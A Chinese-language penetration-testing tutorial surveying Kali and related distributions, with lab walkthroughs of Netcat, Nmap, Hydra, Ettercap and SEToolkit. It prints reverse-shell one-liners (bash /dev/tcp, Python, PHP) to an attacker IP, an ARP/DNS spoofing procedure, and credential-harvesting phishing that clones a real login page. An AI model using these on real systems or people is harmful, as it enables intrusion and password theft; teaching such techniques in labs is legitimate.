渗透测试系统

1. 渗透测试专用系统简介

关于渗透测试操作系统有 Kali Linux、Parrot Security OS、BlackArch Linux、Pentoo Linux、BackBox Linux、Kali NetHunter(移动端渗透专属)、DEFT Linux(取证 + 渗透)等

1.1 常用渗透测试系统

  1. Kali Linux

    • 定位:全球最主流的通用渗透测试系统,渗透测试行业标配,由 Offensive Security 团队开发维护

    • 核心特点:基于 Debian,支持虚拟机、物理机、WSL2、移动端等全平台部署;预装 600+ 渗透工具,覆盖全渗透测试场景;社区生态完善、教程文档丰富,新手友好;定期更新,及时适配新漏洞与新工具,支持中文界面

    • 适用场景:WEB 渗透、内网渗透、无线安全、漏洞挖掘、应急响应等全场景渗透测试,是新手入门、企业级渗透测试的首选

  2. BlackArch Linux

    • 定位:进阶高定制化渗透测试系统,号称工具最全的渗透发行版,基于 Arch Linux 开发

    • 核心特点:基于 Arch Linux 滚动更新模式,工具版本始终保持最新;预装 2000+ 渗透工具,覆盖主流及小众冷门工具;高度可定制,可与 Arch Linux 无缝融合按需安装工具;对 Linux 系统基础要求较高,新手上手难度大

    • 适用场景:深度漏洞挖掘、定制化渗透环境搭建、小众场景渗透测试,适合资深渗透工程师

  3. Pentoo Linux

    • 定位:轻量型滚动更新渗透测试系统,基于 Gentoo Linux 开发,主打无线渗透与漏洞挖掘

    • 核心特点:系统轻量化,占用资源低,可流畅运行在低配置设备;滚动更新,快速适配新工具、新漏洞;强化无线渗透、逆向分析、漏洞利用专属工具集,支持 Live 模式 U 盘启动

    • 适用场景:无线安全渗透测试、深度漏洞挖掘、便携化轻量渗透工作,适合低配置设备/便携终端现场作业

  4. BackBox Linux

    • 定位:轻量简洁型通用渗透测试系统,主打易用性与快速部署,基于 Ubuntu LTS 开发

    • 核心特点:超轻量化优化,启动速度快、操作门槛低,新手友好;预装信息收集、漏洞扫描、提权等核心渗透工具,满足常规测试需求;系统精简,仅保留安全测试必要服务,运行更稳定

    • 适用场景:快速应急渗透测试、入门级渗透技术学习、轻量型日常安全检测,适合新手入门或快速简单场景测试

  5. Kali NetHunter

    • 定位:Kali 官方专属移动端渗透测试系统,为安卓设备打造的便携化渗透平台

    • 核心特点:基于 Kali Linux 开发,适配多款安卓设备及树莓派;集成 Kali 核心渗透工具,支持无线渗透、端口扫描、内网探测等便携操作;可搭配外接网卡/设备拓展功能,实现移动现场渗透

    • 适用场景:移动端现场渗透测试、便携化内网探测、户外无线安全检测,适合渗透工程师现场作业

  6. DEFT Linux

    • 定位:开源数字取证与渗透测试融合系统,主打专业取证分析,兼顾轻量渗透测试,基于 Ubuntu 开发

    • 核心特点:强化数字取证、数据恢复专业工具集,非侵入式操作保护原始证据;兼顾基础渗透测试工具,实现取证+渗透一体化;界面友好,支持 Live 模式运行,适配主流文件系统

    • 适用场景:数字取证、误删数据恢复、轻量型渗透测试、企业安全事件应急响应,适合取证与渗透融合的场景

  7. CAINE

    • 定位:专业开源数字取证专用系统,即计算机辅助调查环境,基于 Ubuntu LTS 开发,专为取证分析设计

    • 核心特点:围绕取证全流程打造,非侵入式只读操作确保电子证据合法性;预装全套专业取证工具,支持 Windows/Linux/macOS 等主流文件系统;内置报告生成工具,简化取证文档工作,界面直观易操作

    • 适用场景:专业数字取证、计算机犯罪调查、企业安全事件司法鉴定、电子证据固定与分析,纯取证场景首选

2. Kali Linux 基础配置

2.1 更换 apt 源

# 进入 apt 源文件
vi /etc/apt/sources.list
​
# 注释掉原本的源,添加中科大的源:
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
​
# 更新 apt 源
apt update

2.2 kali配置代理

vi /etc/proxychains4.conf 
​
#注释末尾的socks4,末尾添加
socks5 同网段中物理机的ip  代理服务器的端口
​
#保存退出后打开火狐
proxychains4 firefox
​
拉取github上的代码示例:
proxychains4  git clone https://github.com/bitbrute/evillimiter.git
​
#也可以使用火狐插件下载proxy进行代理配置

3.kali常用工具

3.1 Netcat 简介与使用

NC(netcat)被称作网络工具中的瑞士军刀,体积小巧,但功能强大。NC 的主要功能是在两台设备之间相互交互,支持侦听模式

3.1.1 NC 参数使用
参数 说明 参数 说明
-h 帮助信息 -r 随机本地及远程端口
-i secs 延时的间隔 -s addr 本地源地址
-l 监听模式,用于入站连接 -t 使用 TELENT 交互方式
-L 连接关闭后,仍然继续监听 -u UDP 模式
-n 指定数字的 IP 地址,不能域名服务器 -v,-vv 详细输出
-o file 记录 16 进制的传输 -w secs timeout 的时间
-p port 端口号 -z 将输入输出关掉,用于扫描时

3.1.2 NC 获取 Shell

Shell 获取分两种:

  • 正向 Shell:客户端连接服务器,获取服务端的 Shell

  • 反向 Shell:客户端连接服务器,服务器端获取客户端的 Shell

3.1.3 Netcat(nc)基础通信实践案例

本文整合 Netcat 基础通信、正向 Shell、反向 Shell 及无 -e 参数时的反向 Shell 替代方案,以 Kali Linux(攻击机)+ CentOS 7(目标机)为环境,提供完整可落地的实践步骤,覆盖渗透测试核心场景。

一、环境准备

1. 系统与工具

  • 攻击机:Kali Linux(默认预装 Netcat,无需额外安装)

  • 目标机:CentOS 7(需手动安装 Netcat,支持 -e 参数)

  • 核心工具:Netcat(nc),轻量级网络工具,支持端口监听、数据传输、Shell 反弹等功能

2. CentOS 7 安装 Netcat

# 以 root 权限执行,安装支持 -e 参数的 nmap-ncat
yum install -y nc
二、基础通信实践(前置知识)

先通过简单的双向文本通信,熟悉 Netcat 核心参数与连接逻辑

1. 核心参数

  • -l:listen,开启监听模式(服务端)

  • -v:verbose,输出详细连接信息

  • -p:port,指定监听/连接端口

2. 操作步骤

(1)Kali(服务端):开启端口监听

# 监听 6666 端口,等待 CentOS 连接
┌──(root㉿kali)-[~]
└─# nc -lvp 6666
listening on [any] 6666 ...

(2)CentOS 7(客户端):主动连接

替换为 Kali 实际内网 IP,执行连接命令:

# 连接 Kali 的 6666 端口
[root@localhost ~]# nc 192.168.220.133 6666

3. 通信效果

连接成功后,两台主机可双向发送文本,输入内容按回车即可发送:

# Kali 端输出
┌──(root㉿kali)-[~]
└─# nc -lvp 6666
listening on [any] 6666 ...
192.168.220.10: inverse host lookup failed: Unknown host  # 正常解析报错,不影响通信
connect to [192.168.220.133] from (UNKNOWN) [192.168.220.10] 51930
你好  # 接收 CentOS 发送的消息
# CentOS 端操作
[root@localhost ~]# nc 192.168.220.133 6666
你好  # 发送消息到 Kali

4. 基础通信补充说明

  • 端口选择:建议使用 1024~65535 未被占用端口,避免系统知名端口

  • 退出方式:双方按 Ctrl + C 终止连接

  • IP 替换:实践时需替换示例 IP 为两台主机实际内网 IP

三、核心概念:正向 Shell 与 反向 Shell

Netcat 获取 Shell 的核心是通过网络连接重定向标准输入/输出,两种模式的核心区别如下:

模式 连接发起方 Shell 归属方 核心逻辑 适用场景
正向 Shell 攻击机 目标机 目标机监听端口,攻击机连接获取目标机 Shell 目标机无防火墙、可直接访问
反向 Shell 目标机 目标机 攻击机监听端口,目标机主动反弹自身 Shell 给攻击机 目标机在内网、有防火墙(仅允许出站)
四、正向 Shell 实践

场景说明

  • 目标机(CentOS 7,IP:192.168.220.10):主动监听端口,绑定自身 Bash Shell

  • 攻击机(Kali,IP:192.168.220.133):主动连接目标端口,获取目标机 Shell

操作步骤

1. 目标机(CentOS 7):监听端口并绑定 Shell

# 监听 6667 端口,客户端连接后自动执行 /bin/bash
[root@localhost ~]# nc -lvp 6667 -e /bin/bash
  • 关键参数:-e /bin/bash,指定连接成功后为客户端分配目标机的交互式 Bash Shell

2. 攻击机(Kali):连接目标端口获取 Shell

# 连接 CentOS 7 的 6667 端口
┌──(root㉿kali)-[~]
└─# nc 192.168.220.10 6667

执行效果

连接成功后,Kali 终端直接获得 CentOS 7 的 Shell,可执行任意 Linux 命令:

# Kali 终端(已获取 CentOS 7 Shell)
ls
anaconda-ks.cfg
CVE-2021-4034-main.zip
yumcentos7.sh
​
whoami
root
五、反向 Shell 实践(nc -e 版)

场景说明

  • 攻击机(Kali,IP:192.168.220.133):主动监听端口,等待目标机反弹连接

  • 目标机(CentOS 7,IP:192.168.220.10):主动连接攻击机端口,反弹自身 Shell

操作步骤

1. 攻击机(Kali):开启端口监听

# 监听 6666 端口,等待目标机反弹
┌──(root㉿kali)-[~]
└─# nc -lvp 6666
listening on [any] 6666 ...

2. 目标机(CentOS 7):主动连接并反弹 Shell

# 连接 Kali 的 6666 端口,反弹自身 /bin/bash
[root@localhost ~]# nc 192.168.220.133 6666 -e /bin/bash

执行效果

目标机连接成功后,Kali 终端收到连接通知,直接获得 CentOS 7 的 Shell:

# Kali 终端输出
┌──(root㉿kali)-[~]
└─# nc -lvp 6666
listening on [any] 6666 ...
192.168.220.10: inverse host lookup failed: Unknown host
connect to [192.168.220.133] from (UNKNOWN) [192.168.220.10] 51932
​
# 验证 Shell 权限
whoami
root
六、无 -e 参数时的反向 Shell 替代方案

部分精简版 Netcat(如 OpenBSD 版)不支持 -e 参数,可通过 Bash 原生、Python、PHP 实现反向 Shell,攻击机仍需先执行 nc -lvp 端口 监听,以下是常用方案:

方案1:Bash 原生反向 Shell(无依赖,最常用)

适用环境

所有 Linux 系统(默认预装 Bash),无需额外工具,兼容性极强。

目标机(CentOS 7)执行命令

bash -i >& /dev/tcp/192.168.220.133/6666 0>&1

命令解释

  • bash -i:启动交互式 Bash Shell

  • >& /dev/tcp/攻击机IP/端口:将标准输出、标准错误重定向到攻击机 TCP 连接

  • 0>&1:将标准输入重定向到 TCP 连接,实现双向通信

方案2:Python 反向 Shell(依赖 Python 环境)

适用环境

目标机安装 Python(CentOS 7 默认预装 Python 2,新系统预装 Python 3)

版本1:Python 2 命令(CentOS 7 原生支持)

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.220.133",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

版本2:Python 3 命令(Kali 等新系统适用)

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.220.133",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

命令解释

建立 TCP 连接到攻击机,将标准输入/输出/错误重定向到网络套接字,启动交互式 Bash Shell。

方案3:PHP 反向 Shell(依赖 PHP 环境)

适用环境

目标机安装 PHP(如 Web 服务器场景,CentOS 7 可通过 yum install -y php 安装)

第一步:CentOS 7 安装 PHP(若未安装)

yum install -y php

第二步:目标机执行 PHP 反向 Shell 命令

php -r '$sock=fsockopen("192.168.220.133",6666);exec("/bin/bash -i <&3 >&3 2>&3");'

命令解释

通过 fsockopen 建立 TCP 连接,将 Bash 的输入/输出/错误重定向到网络连接,实现 Shell 反弹。

七、关键补充说明

1. -e 参数兼容性

  • CentOS 7 默认安装的 nmap-ncat 支持 -e 参数,精简版 Netcat 无此参数,需使用上述替代方案

  • 替代方案优先级:nc -e > Bash 原生 > Python > PHP

2. 防火墙与端口配置

  • 正向 Shell:需在目标机防火墙放行监听端口(如 firewall-cmd --add-port=6667/tcp --permanent

  • 反向 Shell:攻击机无需放行端口(目标机主动出站),仅需确保攻击机端口未被占用

3. 权限与退出

  • Shell 权限:目标机执行反弹/监听命令的用户权限,决定获取 Shell 的权限(root 执行则获取 root Shell)

  • 退出方式:按 Ctrl + C 终止连接,或在 Shell 中执行 exit 退出

4. 常见报错说明

  • Kali 端 inverse host lookup failed:客户端 IP 反向解析失败,属于正常现象,不影响通信与 Shell 获取

八、总结
  1. 基础通信:nc -lvp 端口(监听)+ nc 攻击机IP 端口(连接),实现双向文本传输

  2. 正向 Shell:目标机 nc -lvp 端口 -e /bin/bash,攻击机连接后获取目标机 Shell,适用于目标机可直接访问场景

  3. 反向 Shell:攻击机监听,目标机通过 nc -e 或 Bash/Python/PHP 反弹 Shell,是渗透测试首选方案,可穿透内网防火墙

  4. -e 时:优先使用 Bash 原生命令,无需依赖任何额外工具,兼容性最强

3.2 Nmap 简介与使用

Nmap 是 Network Mapper 的缩写,是一款 开源免费的网络扫描与安全审计工具,也是渗透测试、网络运维的必备工具,核心用于对目标网络/主机进行 探测、扫描、信息收集,支持跨平台(Linux、Windows、macOS 等),Kali Linux 系统默认预装,是网络安全领域的经典工具

3.2.1 功能包括
  • 主机发现

  • 端口扫描

  • 版本侦测

  • 操作系统侦测

3.2.2 常用参数

T4 指定扫描过程的级别,级别越高扫描速度越快,但也越容易被防火墙或者 IDS 屏蔽,一般推荐使用 T4 级别

参数 说明
-sn 只进行主机发现,不进行端口扫描
-O 进行系统版本扫描
-sV 进行服务版本扫描
-p 扫描指定端口
-sS 发送 SYN 包扫描
-sT 发送 TCP 包扫描
-sA 发送 ACK 包扫描
-sU UDP 扫描
-PO 不进行 ping 扫描
-script 指定脚本扫描 存放 /usr/share/nmap/scripts
T4 扫描级别
3.2.3 使用示例
# 检测对方的系统版本,服务版本 T4 的扫描级别
nmap 192.168.1.1 -O -sV -T4
​
# 检测对方主机是否有常见的漏洞
nmap --script=vuln 192.168.1.1
​
# 利用已知的漏洞进行扫描
nmap --script=exploit 192.168.1.1
​
# 拒绝服务工具
nmap --script=dos 192.168.1.1
3.2.4 常见的 6 种 Nmap 端口状态及其含义
  • open:开放的,表示应用程序正在监听该端口的连接,外部可以访问

  • filtered:被过滤的,表示端口被防火墙或其他网络设备阻止,不能访问

  • closed:关闭的,表示目标主机未开启该端口

  • unfiltered:未被过滤的,表示 nmap 无法确定端口所处状态,需进一步探测

  • open/filtered:开放的或被过滤的,nmap 不能识别

  • closed/filtered:关闭的或被过滤的,Nmap 不能识别

3.3 Crunch 简介与使用

Crunch 是一种创建密码字典的工具,按照指定的规则生成密码字典,可以灵活制定自己的字典文件,使用 Crunch 工具生成的密码可以输出到屏幕,保存到文件、或另一个程序

字典:一个存放了很多特定字符(账号密码)的 .txt 文件

3.3.1 Crunch 基础用法
crunch <最小长度> <最大长度> [字符集] [参数] -o <输出字典文件.txt>
示例:
crunch 6 8 abcdefghijklmnopqrstuvwxyz0123456789 -o basic_passwords.txt
3.3.2 补充
# 可以将网站的字符爬下来
cewl -h # 查看用法
​
# 例:
cewl http://www.baidu.com/ -w /home/if/桌面/dict.txt

也可以使用 Windows 的超级字典生成器,可视化的一款软件

3.4 Xhydra 简介与使用

Xhydra 称为九头蛇,是一款登录爆破神器,Xhydra 几乎可以爆破各种协议的登录,比如 Windows 的远程桌面,SSH,FTP,路由交换设备等等,著名的黑客组织 THC 的一款开源的暴力密码破解工具,可以在线破解多种密码

3.4.1 Xhydra 工具使用

命令行操作

hydra -l [用户名字典] -p [密码字典路径] 协议://ip

3.5 Ettercap 简介与使用

Ettercap 最初是交换局域网的嗅探器,但在开发过程中,它获得了越来越多的功能,从而使其转变成为强大而灵活的中间人工具,它支持许多协议的主动和被动解剖,并包括许多用于网络和主机分析的功能

3.5.1 Ettercap 常用指令

用户界面类型

参数 说明
-T -text,使用之显示字符的界面
-q -qiut 安静模式,不显示抓到的数据报内容
-G -gtk 使用 GTK+GUI,开启图形化模式

日志选项

参数 说明
-w 将嗅探的数据写入 pcap 文件
-L 此处记录所有流量

3.5.2 DNS 劫持实验
一、实验概述

实验目的:在局域网(LAN)环境中,使用 Kali Linux 上的 Ettercap 工具实施 ARP 欺骗与 DNS 欺骗攻击,将特定域名(如 www.baidu.com)的解析重定向至攻击者控制的 Web 服务器

攻击原理

  1. ARP 欺骗:通过伪造 ARP 应答,欺骗网关和目标主机,使双方误认为攻击机的 MAC 地址是对方的,从而将流量劫持到攻击机(中间人位置)

  2. DNS 欺骗:在成为中间人后,劫持目标主机的 DNS 查询请求,并回复伪造的 DNS 应答,将目标域名指向攻击者指定的 IP 地址(如 Kali 本机的 Apache 服务器)

二、环境准备

1. 系统与工具

角色 系统 所需工具 备注
攻击机 Kali Linux Ettercap, Apache2 Ettercap 用于 ARP/DNS 欺骗,Apache2 用于模拟伪造网站
目标机 Windows 7 任意浏览器 用于验证攻击效果
网络 同一局域网 - 确保攻击机与目标机、网关互通

2. 攻击机(Kali)前置配置

  1. 启动 Apache 服务:用于托管一个伪造的网站,当目标被劫持后将访问此页面

    # 启动 Apache Web 服务器
    service apache2 start
    # 可选:检查服务状态
    service apache2 status
   
2. **配置 Ettercap DNS 欺骗规则**:
   编辑 Ettercap 的 DNS 配置文件,定义劫持规则(所有域名解析至攻击机 IP):
   ```bash
   # 编辑 DNS 欺骗配置文件
   nano /etc/ettercap/etter.dns

在文件末尾添加以下核心规则(将 192.168.220.130 替换为你的 Kali 局域网 IP):

   # 全局 A 记录劫持:所有域名解析至攻击机 IP
   *   A   192.168.220.130

保存并退出(Ctrl+X,然后按 Y,最后按 Enter)。

  1. 验证网络连通性:确保目标机(Win7)可以正常访问互联网(如 www.baidu.com),这是后续验证攻击是否成功的对比基准

三、实验步骤

1. 启动 Ettercap 图形化界面

在 Kali 终端中执行:

ettercap -G

2. 配置网络接口

  • 启动后,在主界面选择 Sniff -> Unified sniffing...

  • 在弹出的网络接口列表中,选择与目标主机在同一网段的接口(例如 eth0wlan0

  • 点击 OK

3. 扫描网络主机

  1. 点击工具栏上的 放大镜图标(或 Hosts -> Scan for hosts),开始扫描当前网段内存活的主机

  2. 扫描完成后,点击 列表图标(或 Hosts -> Hosts list)查看扫描结果。列表将显示 IP 地址和对应的 MAC 地址

4. 设置攻击目标

在主机列表中:

  1. 添加Target 1(网关):选中网关的IP地址(通常是.1.254结尾),点击Add to Target 1

  2. 添加Target 2(受害主机):选中目标机(Win7)的IP地址,点击Add to Target 2

注意:正确的目标是ARP欺骗成功的关键。Target 1通常是网关,Target 2是您要攻击的单个主机

5. 发起ARP欺骗攻击(中间人)

  1. 点击菜单栏Mitm -> ARP poisoning...

  2. 在弹出的配置窗口中,勾选Sniff remote connections

  3. 点击OK。此时,Ettercap开始向网关和目标主机发送伪造的ARP应答包

6. 启动流量嗅探与攻击

点击工具栏上的"Start/Stop Sniffing"按钮(蓝色三角/正方形图标),Ettercap将开始捕获并转发经过它的流量

7. 激活DNS欺骗插件

这是将特定域名请求重定向到我们服务器的关键步骤

  1. 点击菜单栏Plugins -> Manage the plugins

  2. 在插件列表中,双击dns_spoof插件以激活它。当插件前出现"*"号时,表示已激活

注意dns_spoof插件会读取我们之前配置的/etc/ettercap/etter.dns文件,根据其中的规则进行DNS欺骗。

8. 验证攻击效果

在目标机(Windows 7)上:

  1. 打开浏览器

  2. 访问百度(www.baidu.com)

  3. 预期结果:如果攻击成功,浏览器将显示Kali上Apache的默认页面,而非真正的百度首页

四、注意事项与故障排查

  • 首次劫持可能失败:DNS缓存(操作系统或浏览器)可能导致旧的正确解析记录被暂存。若攻击后仍访问到真实网站,请尝试:

    1. 在目标机上清除浏览器缓存和DNS缓存(命令:ipconfig /flushdns

    2. 刷新浏览器页面多次

    3. 在Ettercap中确认dns_spoof插件已激活,且目标设置正确

  • DNS规则配置注意事项

    • * A 192.168.220.130规则中的*是通配符,表示匹配所有域名

    • 如果要针对特定域名,可以使用如www.baidu.com A 192.168.220.130的形式

    • 确保IP地址是你的Kali攻击机的正确局域网IP

  • 成功标志:目标机访问任何HTTP网站时都显示Kali Apache默认页面

3.6 kali其他工具

Evil Limiter 邪恶限制器

Evil Limiter 是一款基于 Python3 开发的开源局域网网络管控工具,主打通过 ARP 欺骗实现对目标设备的精准带宽限速、强制断网,轻量简洁、命令行交互、无需目标 / 网关的管理员权限,是局域网渗透测试中网络压制、流量管控的常用工具,区别于 Ettercap 的全能型,该工具专注流量限制 / 断网,操作门槛更低。

项目地址:https://github.com/bitbrute/evillimiter

下载 
proxychains4  git clone https://github.com/bitbrute/evillimiter.git
切换目录
cd evillimiter
编译
python3 python3 setup.py install

使用

#进入工具
evillimiter 
#扫描主机
(Main) >>> scan         
​
100% |██████████████████████████████| 256/256
OK   5 hosts discovered.
#查看主机
(Main) >>> hosts
​
┌Hosts─────────────────┬───────────────────┬──────────┬────────┐
│ ID │ IP address      │ MAC address       │ Hostname │ Status │
├────┼─────────────────┼───────────────────┼──────────┼────────┤
│ 0  │ 192.168.220.1   │ 00:50:56:c0:00:08 │          │ Free   │
│ 1  │ 192.168.220.2   │ 00:50:56:e7:90:ed │          │ Free   │
│ 2  │ 192.168.220.128 │ 00:0c:29:25:cd:83 │          │ Free   │
│ 3  │ 192.168.220.132 │ 00:0c:29:db:8f:49 │          │ Free   │
│ 4  │ 192.168.220.254 │ 00:50:56:e5:58:68 │          │ Free   │
└────┴─────────────────┴───────────────────┴──────────┴────────┘
#给id2的主机进行1kbit限速,导致该主机上不了网
(Main) >>> limit 2 1kbit
OK   192.168.220.128 upload / download limited to 1kbit.
​
#退出
(Main) >>> exit
​
setoolkit开源的社会工程学渗透测试框架

SEToolkit 是一款开源的社会工程学渗透测试框架,由 TrustedSec 公司开发,David Kennedy(rel1k)设计,用 Python 编写,专注于模拟针对人类弱点的攻击,帮助安全专业人员评估组织的社会工程学防御能力。

典型钓鱼网站攻击示例

#启动工具
setoolkit 
# 同意使用条款(输入 Y)
#选择攻击类型(主菜单)
​
1) Social-Engineering Attacks(社会工程学攻击)
2) Fast-Track Penetration Testing(快速追踪渗透测试)
3) Third Party Modules(第三方模块)
4) Update the Social-Engineer Toolkit(更新工具)
5) Update SET configuration(更新配置)
6) Help, Credits, and About(帮助信息)
​
99) Exit the Social-Engineer Toolkit(退出)
​
#选1
set:>1

Social-Engineering Attacks(社会工程学攻击) 子菜单

1) Spear-Phishing Attack Vectors(定向钓鱼攻击向量,精准针对特定目标发起钓鱼)
2) Website Attack Vectors(网站攻击向量,伪造恶意站点诱导访问、窃取信息)
3) Infectious Media Generator(生成带恶意程序的U盘/存储介质,插入即触发攻击)
4) Create a Payload and Listener(生成攻击载荷与监听端,用于远程控制目标)
5) Mass Mailer Attack(批量邮件钓鱼,大规模群发恶意邮件)
6) Arduino-Based Attack Vector(基于Arduino硬件的模拟输入类攻击)
7) Wireless Access Point Attack Vector(伪造无线AP,诱导接入后窃取数据)
8) QRCode Generator Attack Vector(生成恶意二维码,扫码触发恶意行为)
9) Powershell Attack Vectors(PowerShell 相关攻击向量,无文件执行恶意代码)
10) Third Party Modules(第三方扩展模块,增强工具攻击能力)
​
  99) Return back to the main menu.(返回主菜单)
 
 
set:>2

Website Attack Vectors 子菜单

1) Java Applet Attack Method(Java小程序攻击,利用Java组件漏洞执行恶意代码)
2) Metasploit Browser Exploit Method(Metasploit浏览器漏洞利用,攻击浏览器漏洞)
3) Credential Harvester Attack Method(凭据收割攻击,伪造页面窃取账号密码)
4) Tabnabbing Attack Method(标签页劫持攻击,篡改页面诱导输入敏感信息)
5) Web Jacking Attack Method(网页劫持攻击,替换页面内容诱导操作)
6) Multi-Attack Web Method(多方式网页组合攻击,同时启用多种网页攻击手段)
7) HTA Attack Method(HTA应用程序攻击,通过恶意HTA文件执行系统指令)
​
  99) Return to Main Menu(返回主菜单)
​
set:webattack>3

确保关闭apache2

┌──(root㉿kali)-[~]
└─# service apache2 stop

钓鱼攻击流程

例1:

1) Web Templates(使用预设网页模板搭建恶意站点)
2) Site Cloner(克隆目标网站,伪造高相似度钓鱼页面)
3) Custom Import(自定义导入外部网页文件制作恶意站点)
​
    99) Return to Webattack Menu(返回网页攻击菜单)
​
set:webattack>1
​
set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.220.130]:192.168.220.130 #填入攻击者IP
​
1. Java Required(要求目标启用Java环境,用于Java相关攻击)
2. Google(伪造Google登录页面,用于钓鱼窃取账号凭据)
3. Twitter(伪造Twitter登录页面,用于钓鱼窃取账号信息)
​
​
set:webattack> Select a template:2 #伪造谷歌登录页面
​
……
……
……
​
#假若有人访问登录,即可得到账号密码
POSSIBLE USERNAME FIELD FOUND: Email=admin                                              
POSSIBLE PASSWORD FIELD FOUND: Passwd=123456     
​

例2

1) Web Templates(使用预设网页模板搭建恶意站点)
2) Site Cloner(克隆目标网站,伪造高相似度钓鱼页面)
3) Custom Import(自定义导入外部网页文件制作恶意站点)
​
    99) Return to Webattack Menu(返回网页攻击菜单)
​
set:webattack>1  #克隆网站钓鱼
​
​
set:webattack> IP address for the POST back in Harvester/Tabnabbing 
#攻击者ip
[192.168.220.130]:192.168.220.130
​
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
 #设置克隆的网站
set:webattack> Enter the url to clone:  http://antai.pukesoft.cn/index.php?m=&c=Index&a=login
​
​
​
​

DNS劫持和钓鱼网站结合

利用dns劫持瞄准一个登录页面,将该需要登录的页面指向钓鱼网站,即可得到该用户的账号密码信息

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐